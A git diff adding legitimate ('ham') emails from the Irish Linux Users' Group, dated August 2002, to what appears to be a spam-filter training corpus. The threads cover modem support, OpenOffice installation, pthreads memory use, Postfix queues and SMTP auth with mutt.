IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:48 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7K9UeZ32566 for + ; Tue, 20 Aug 2002 10:30:40 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA24992; Tue, 20 Aug 2002 10:29:26 +0100 +Received: from milexc01.maxtor.com ([134.6.205.206]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA24959 for ; Tue, + 20 Aug 2002 10:29:20 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [134.6.205.206] claimed to + be milexc01.maxtor.com +Received: by milexc01.maxtor.com with Internet Mail Service (5.5.2653.19) + id ; Tue, 20 Aug 2002 10:29:20 +0100 +Message-Id: <0D443C91DCE9CD40B1C795BA222A729E01885602@milexc01.maxtor.com> +From: "Wynne, Conor" +To: "'mconway35@eircom.net'" , ILUG@linux.ie +Subject: RE: [ILUG] RE: Newbie Question +Date: Tue, 20 Aug 2002 10:29:19 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Yes, the lasat speed basic sucks-ass.com, it won't work coz its from eircon +who are shite. + +I have two of em sitting in my drawer of "might have a use some day or +other"... + +Get yourself an el-cheapo ISDN card, 50 yoyo's will usually suffice. I have +a TRUST load a crap HFC based one which has been trodding along nicely for +yonks. Gets detected automagically by pretty much ANY distro, has kernel +support for a million years or so. + +Later, +CW + +p.s.: you other modems are probably winmodems and are a pain in ze arse.com, +they will work with lots of poking but not worth the effort IMHO. Just use +ISDN and NAT it. + + +----------------- +Regarding: +Another problem I have is that I cannot install my ISDN, USB modem ( LASAT +Speed Basic ), however im pretty sure its not supported by Linux, but again +it is featured in the Hardware Browser, without installed drivers. + +Thanks for your replies.... However i still cant get it to detect the +External USB modem. I also have an internal 56k fax modem, but i cannot get +that detected either ( maybe its because it was designed for Windows and is +not supported ). Im not going to buy a new modem ( I think 2 is more than +enough for 1 PC ). + +It could well be my inexperience with Linux that is making this more +difficult, but whatever it is iv just about had enough!! Any last gasp ideas +would be welcome + +Many Thanks + +Mark + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00463.a0b9bc6f874e76510933906b72baae3f b/bayes/spamham/easy_ham_2/00463.a0b9bc6f874e76510933906b72baae3f new file mode 100644 index 0000000..b14e9e4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00463.a0b9bc6f874e76510933906b72baae3f @@ -0,0 +1,74 @@ +From ilug-admin@linux.ie Tue Aug 20 11:52:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7448743C4C + for ; Tue, 20 Aug 2002 06:51:49 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:49 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7K9XRZ32672 for + ; Tue, 20 Aug 2002 10:33:27 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA25208; Tue, 20 Aug 2002 10:32:04 +0100 +Received: from milexc01.maxtor.com ([134.6.205.206]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA25177 for ; Tue, + 20 Aug 2002 10:31:56 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [134.6.205.206] claimed to + be milexc01.maxtor.com +Received: by milexc01.maxtor.com with Internet Mail Service (5.5.2653.19) + id ; Tue, 20 Aug 2002 10:31:54 +0100 +Message-Id: <0D443C91DCE9CD40B1C795BA222A729E01885603@milexc01.maxtor.com> +From: "Wynne, Conor" +To: "'Colin Nevin'" , ilug@linux.ie +Subject: RE: [ILUG] staroffice 6.0 installation freezes under RH7.3 +Date: Tue, 20 Aug 2002 10:31:53 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +No problems installing OpenOffice 653??? and 1.0. Had some issues with bz2's +being corrupted but fixed when downloaded again. + +I am downloading the src of 1.01 at the mo to se if it will work any faster +compiled for my architecture. + +Regards, +CW + +------------ +Hi All, + +Just wondering if anyone has ever installed StarOffice +6.0 (or Open Office), and if any have experienced any +problems with the install freezing ? + +I'm using RedHat 7.3 kernel 2.4.18-3, and glibc 2.2.5 +? + +I might try downloading OpenOffice instead if it is +unresolved!!!! + +Cheers all, + +Colin + + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.com + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00464.a528da6b60ce0122804319d1d3a9a708 b/bayes/spamham/easy_ham_2/00464.a528da6b60ce0122804319d1d3a9a708 new file mode 100644 index 0000000..c385dae --- /dev/null +++ b/bayes/spamham/easy_ham_2/00464.a528da6b60ce0122804319d1d3a9a708 @@ -0,0 +1,67 @@ +From ilug-admin@linux.ie Tue Aug 20 11:52:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 74AE743C4D + for ; Tue, 20 Aug 2002 06:51:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:50 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7K9cxZ00412 for + ; Tue, 20 Aug 2002 10:38:59 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA25626; Tue, 20 Aug 2002 10:37:51 +0100 +Received: from corvil.com. (k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA25591 + for ; Tue, 20 Aug 2002 10:37:44 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159] claimed to be corvil.com. +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) by + corvil.com. (8.12.5/8.12.5) with ESMTP id g7K9bfn4000102; Tue, + 20 Aug 2002 10:37:42 +0100 (IST) (envelope-from padraig.brady@corvil.com) +Message-Id: <3D620DD3.5010204@corvil.com> +Date: Tue, 20 Aug 2002 10:37:23 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: Vincent Cunniffe +Cc: ilug +Subject: Re: [ILUG] linux pthreads problem +References: + <3D620A6A.7040906@cunniffe.net> +Content-Type: text/plain; charset=ISO-8859-1; format=flowed +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Vincent Cunniffe wrote: +> +> Possibly. However, the amount of memory in use is stupid : +> +> I start 50 threads, and the memory usage goes up to 411436 VSZ/840 RSS. +> +> Then I stop those threads, and the usage stays there. I start another 50 +> threads, and the usage goes up to 821036 VSZ/1040 RSS. So, it's neither +> freeing the resources correctly nor reusing them :-/ +> +> I've found several other people seeing the same VSZ issue with pthreads, +> spread over a long time, but no solution as yet. + +Err, Is your code fixed now? +You need a seperate pthread_t per thread. + +Pádraig. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00465.11c2716cdb56ce3e4a9a7443fcf9d0b1 b/bayes/spamham/easy_ham_2/00465.11c2716cdb56ce3e4a9a7443fcf9d0b1 new file mode 100644 index 0000000..2d41e44 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00465.11c2716cdb56ce3e4a9a7443fcf9d0b1 @@ -0,0 +1,74 @@ +From ilug-admin@linux.ie Tue Aug 20 11:52:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3B82D43C41 + for ; Tue, 20 Aug 2002 06:51:52 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:52 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7K9i2Z00504 for + ; Tue, 20 Aug 2002 10:44:02 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA25975; Tue, 20 Aug 2002 10:43:09 +0100 +Received: from claymore.diva.ie (diva.ie [195.218.115.17] (may be forged)) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA25943 for + ; Tue, 20 Aug 2002 10:43:03 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host diva.ie [195.218.115.17] + (may be forged) claimed to be claymore.diva.ie +Received: from cunniffe.net (p1017.as1.exs.dublin.eircom.net + [159.134.227.249]) by claymore.diva.ie (8.9.3/8.9.3) with ESMTP id + KAA15240 for ; Tue, 20 Aug 2002 10:43:01 +0100 +Message-Id: <3D620F24.1010701@cunniffe.net> +Date: Tue, 20 Aug 2002 10:43:00 +0100 +From: Vincent Cunniffe +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) + Gecko/20020530 +X-Accept-Language: en, en-us +MIME-Version: 1.0 +To: ilug +Subject: Re: [ILUG] linux pthreads problem +References: + <3D620A6A.7040906@cunniffe.net> <3D620DD3.5010204@corvil.com> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Padraig Brady wrote: +> Vincent Cunniffe wrote: +> +>> +>> Possibly. However, the amount of memory in use is stupid : +>> +>> I start 50 threads, and the memory usage goes up to 411436 VSZ/840 RSS. +>> +>> Then I stop those threads, and the usage stays there. I start another 50 +>> threads, and the usage goes up to 821036 VSZ/1040 RSS. So, it's neither +>> freeing the resources correctly nor reusing them :-/ +>> +>> I've found several other people seeing the same VSZ issue with pthreads, +>> spread over a long time, but no solution as yet. +> +> +> Err, Is your code fixed now? +> You need a seperate pthread_t per thread. + +I've tested it with and without separate pthread_t's, and the problem is +identical, unfortunately. + +Regards, + +Vin + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00466.b9a2a39848351254d43dde30f4a6ce3a b/bayes/spamham/easy_ham_2/00466.b9a2a39848351254d43dde30f4a6ce3a new file mode 100644 index 0000000..135316a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00466.b9a2a39848351254d43dde30f4a6ce3a @@ -0,0 +1,90 @@ +From ilug-admin@linux.ie Tue Aug 20 11:52:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1149343C51 + for ; Tue, 20 Aug 2002 06:51:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:53 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7K9kbZ00671 for + ; Tue, 20 Aug 2002 10:46:37 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA26161; Tue, 20 Aug 2002 10:45:41 +0100 +Received: from kbs01.kbs.ie ([213.190.156.48]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA26137 for ; Tue, + 20 Aug 2002 10:45:35 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [213.190.156.48] claimed + to be kbs01.kbs.ie +Received: by KBS01 with Internet Mail Service (5.5.2653.19) id ; + Tue, 20 Aug 2002 11:02:33 +0100 +Message-Id: <55DA5264CE16D41186F600D0B74D6B09247297@KBS01> +From: "Brian O'Donoghue" +To: "'ilug@linux.ie'" +Subject: RE: [ILUG] linux pthreads problem +Date: Tue, 20 Aug 2002 11:02:32 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + + +> -----Original Message----- +> From: Vincent Cunniffe [mailto:vincent@cunniffe.net] +> Sent: 20 August 2002 10:43 +> To: ilug +> Subject: Re: [ILUG] linux pthreads problem +> +> Padraig Brady wrote: +> > Vincent Cunniffe wrote: +> > +> >> +> >> Possibly. However, the amount of memory in use is stupid : +> >> +> >> I start 50 threads, and the memory usage goes up to 411436 VSZ/840 RSS. +> >> +> >> Then I stop those threads, and the usage stays there. I start another +> 50 +> >> threads, and the usage goes up to 821036 VSZ/1040 RSS. So, it's neither +> >> freeing the resources correctly nor reusing them :-/ +> >> +> >> I've found several other people seeing the same VSZ issue with +> pthreads, +> >> spread over a long time, but no solution as yet. +> > +> > +> > Err, Is your code fixed now? +> > You need a seperate pthread_t per thread. +> +> I've tested it with and without separate pthread_t's, and the problem is +> identical, unfortunately. +> +> Regards, +> +> Vin +> +> +> -- +> Irish Linux Users' Group: ilug@linux.ie +> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription +> information. +> List maintainer: listmaster@linux.ie + +Are you using pthread_join(somethread,0); +When you are closing off your instanciated thread made from +pthread_t*somethread ? + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00467.ce60ce0ae03fb1f4b2b8e1b8c574b679 b/bayes/spamham/easy_ham_2/00467.ce60ce0ae03fb1f4b2b8e1b8c574b679 new file mode 100644 index 0000000..b1a0020 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00467.ce60ce0ae03fb1f4b2b8e1b8c574b679 @@ -0,0 +1,114 @@ +From ilug-admin@linux.ie Tue Aug 20 11:52:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C20CA43C55 + for ; Tue, 20 Aug 2002 06:51:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:53 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7KA1VZ00990 for + ; Tue, 20 Aug 2002 11:01:31 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA26865; Tue, 20 Aug 2002 11:00:10 +0100 +Received: from kbs01.kbs.ie ([213.190.156.48]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA26828 for ; Tue, + 20 Aug 2002 11:00:02 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [213.190.156.48] claimed + to be kbs01.kbs.ie +Received: by KBS01 with Internet Mail Service (5.5.2653.19) id ; + Tue, 20 Aug 2002 11:17:00 +0100 +Message-Id: <55DA5264CE16D41186F600D0B74D6B09247298@KBS01> +From: "Brian O'Donoghue" +To: "'ilug@linux.ie'" +Subject: RE: [ILUG] linux pthreads problem +Date: Tue, 20 Aug 2002 11:16:59 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> Are you using pthread_join(somethread,0); +> When you are closing off your instanciated thread made from +> pthread_t*somethread ? + +Something like this might help you out.... + +Class la{ + Public: + pthread_t*thread; + void thread_me(int num) + }; + +la*lala; + +typedef struct list +{ + la*w; + struct list*next; +}list_struct; + +list_struct*head; + +void thread_me(int num); +void add_to_list(la*o); +void delete_from_list(); + +int main(int argc,char**argv) +{ +int a=1; + + lala=new la; + thread= new pthread_t; + add_to_list(lala); + pthread_create(thread,0,&lala.thread_me,&a); + + thread= new pthread_t; + add_to_list(lala); + pthread_create(thread,0,&lala.thread_me,&a); + +delete_from_linked_list(); +return 0; +}; + +void lala::thread_me(int num) +{ + printf("lalala"); + pthread_join((*this)->thread,0); +return; +}; + +void add_to_list(la*o) +{ + static list_struct*a; + a=new list_struct; + a->w=o; + a->next=head; + head=a; +return; +}; + +void delete_from_linked_list() +{ + list_struct*a; + + while(head!=NULL) + { + a=head; + head=head->next; + delete a; + }; + return; +}; + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00468.3817ad282a4ab893fd6abce849eb3727 b/bayes/spamham/easy_ham_2/00468.3817ad282a4ab893fd6abce849eb3727 new file mode 100644 index 0000000..33271db --- /dev/null +++ b/bayes/spamham/easy_ham_2/00468.3817ad282a4ab893fd6abce849eb3727 @@ -0,0 +1,73 @@ +From ilug-admin@linux.ie Tue Aug 20 11:53:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BCC8843C5D + for ; Tue, 20 Aug 2002 06:52:01 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:52:01 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7KApEZ02716 for + ; Tue, 20 Aug 2002 11:51:14 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA30303; Tue, 20 Aug 2002 11:50:12 +0100 +Received: from hawk.dcu.ie (mail.dcu.ie [136.206.1.5]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA30265 for ; Tue, + 20 Aug 2002 11:50:05 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.dcu.ie [136.206.1.5] + claimed to be hawk.dcu.ie +Received: from prodigy.redbrick.dcu.ie (136.206.15.10) by hawk.dcu.ie + (6.0.040) id 3D6203D300001530 for ilug@linux.ie; Tue, 20 Aug 2002 11:50:05 + +0100 +Received: by prodigy.redbrick.dcu.ie (Postfix, from userid 1023) id + 37D1EDA4A; Tue, 20 Aug 2002 11:50:05 +0100 (IST) +Date: Tue, 20 Aug 2002 11:50:05 +0100 +From: Philip Reynolds +To: ilug@linux.ie +Subject: Re: [ILUG] postfix +Message-Id: <20020820115005.E4237@prodigy.Redbrick.DCU.IE> +References: <20020820102914.GC12174@jinny.ie> + <20020820103247.30290.qmail@web12603.mail.yahoo.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020820103247.30290.qmail@web12603.mail.yahoo.com>; + from hrishys@yahoo.co.uk on Tue, Aug 20, 2002 at 11:32:47AM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +hrishy's [hrishys@yahoo.co.uk] 22 lines of wisdom included: +> Hi All +> +> +> I ahd some users test1 test2 etc.i deleted their +> mailboxes from /var/mail/test1 etc.now the postfix +> queue seems to be huge can anybody help what could be +> wrong + +Some logs might be of some help. + +1) some output of /var/log/maillog with some relevant error message +(that could be /var/log/mail.log or some other log depending on your +configuration) + +2) the output from ``postconf -n'' + +On another note, you did recreate the mailboxes, didn't you? + +-- + Philip Reynolds + RFC Networks tel: 01 8832063 +www.rfc-networks.ie fax: 01 8832041 + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00469.5e2af174515bf3c131dc05a2b93c429a b/bayes/spamham/easy_ham_2/00469.5e2af174515bf3c131dc05a2b93c429a new file mode 100644 index 0000000..afe17ce --- /dev/null +++ b/bayes/spamham/easy_ham_2/00469.5e2af174515bf3c131dc05a2b93c429a @@ -0,0 +1,66 @@ +From ilug-admin@linux.ie Tue Aug 20 12:17:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A634843C37 + for ; Tue, 20 Aug 2002 07:17:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 12:17:13 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7KB80Z03426 for + ; Tue, 20 Aug 2002 12:08:00 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA31077; Tue, 20 Aug 2002 12:06:26 +0100 +Received: from hawk.dcu.ie (mail.dcu.ie [136.206.1.5]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA31052 for ; Tue, + 20 Aug 2002 12:06:19 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.dcu.ie [136.206.1.5] + claimed to be hawk.dcu.ie +Received: from prodigy.redbrick.dcu.ie (136.206.15.10) by hawk.dcu.ie + (6.0.040) id 3D6203D3000017B6 for ilug@linux.ie; Tue, 20 Aug 2002 12:06:19 + +0100 +Received: by prodigy.redbrick.dcu.ie (Postfix, from userid 1023) id + E9411DA4A; Tue, 20 Aug 2002 12:06:18 +0100 (IST) +Date: Tue, 20 Aug 2002 12:06:18 +0100 +From: Philip Reynolds +To: ilug@linux.ie +Subject: Re: [ILUG] SMTP auth & mutt +Message-Id: <20020820120618.F4237@prodigy.Redbrick.DCU.IE> +References: <20020820102914.GC12174@jinny.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020820102914.GC12174@jinny.ie>; from valen@tuatha.org on + Tue, Aug 20, 2002 at 11:29:14AM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +John P. Looney's [valen@tuatha.org] 11 lines of wisdom included: +> OK, Mutt uses sendmail to deliver mail... +> +> How can I get it to deliver via a Postfix box with SMTP auth enabled ? + +Mutt interacts with smtpdaemon or something like that doesn't it? + +Can mutt interact directly with SMTP server with authentication +capabilities? I don't think it can. + +Surely you can just run a mailserver on your own machine and send +mail using it? + +-- + Philip Reynolds + RFC Networks tel: 01 8832063 +www.rfc-networks.ie fax: 01 8832041 + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00470.31854a1dce26d60c524ac8051bd00068 b/bayes/spamham/easy_ham_2/00470.31854a1dce26d60c524ac8051bd00068 new file mode 100644 index 0000000..cd9c496 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00470.31854a1dce26d60c524ac8051bd00068 @@ -0,0 +1,72 @@ +From ilug-admin@linux.ie Tue Aug 20 12:17:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B607443C3A + for ; Tue, 20 Aug 2002 07:17:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 12:17:20 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7KBAhZ03460 for + ; Tue, 20 Aug 2002 12:10:43 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA31409; Tue, 20 Aug 2002 12:09:45 +0100 +Received: from jinny.ie ([193.120.171.2]) by lugh.tuatha.org (8.9.3/8.9.3) + with ESMTP id MAA31379 for ; Tue, 20 Aug 2002 12:09:37 + +0100 +Received: (from john@localhost) by jinny.ie (8.11.6/8.11.6) id + g7KBA4O16969 for ilug@linux.ie; Tue, 20 Aug 2002 12:10:04 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Tue, 20 Aug 2002 12:10:04 +0100 +From: "John P. Looney" +To: ilug@linux.ie +Subject: Re: [ILUG] SMTP auth & mutt +Message-Id: <20020820111004.GD14073@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: ilug@linux.ie +References: <20020820102914.GC12174@jinny.ie> + <20020820120618.F4237@prodigy.Redbrick.DCU.IE> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020820120618.F4237@prodigy.Redbrick.DCU.IE> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 20, 2002 at 12:06:18PM +0100, Philip Reynolds mentioned: +> John P. Looney's [valen@tuatha.org] 11 lines of wisdom included: +> > OK, Mutt uses sendmail to deliver mail... +> > +> > How can I get it to deliver via a Postfix box with SMTP auth enabled ? +> +> Mutt interacts with smtpdaemon or something like that doesn't it? +> +> Can mutt interact directly with SMTP server with authentication +> capabilities? I don't think it can. +> +> Surely you can just run a mailserver on your own machine and send +> mail using it? + + Hmm. Yeah, mutt sorta calls the sendmail program directly. But I thought +it would be very crap if the auth details (username, password) had to be +hardcoded into the sendmail.cf (and damned if I can work out how to do +that anyway). + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00471.c37b5306cf952f83f3cc30dad511f7fb b/bayes/spamham/easy_ham_2/00471.c37b5306cf952f83f3cc30dad511f7fb new file mode 100644 index 0000000..e0a5e65 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00471.c37b5306cf952f83f3cc30dad511f7fb @@ -0,0 +1,54 @@ +From ilug-admin@linux.ie Tue Aug 20 12:23:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3978E43C37 + for ; Tue, 20 Aug 2002 07:22:44 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 12:22:46 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7KBN1Z03836 for + ; Tue, 20 Aug 2002 12:23:01 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by 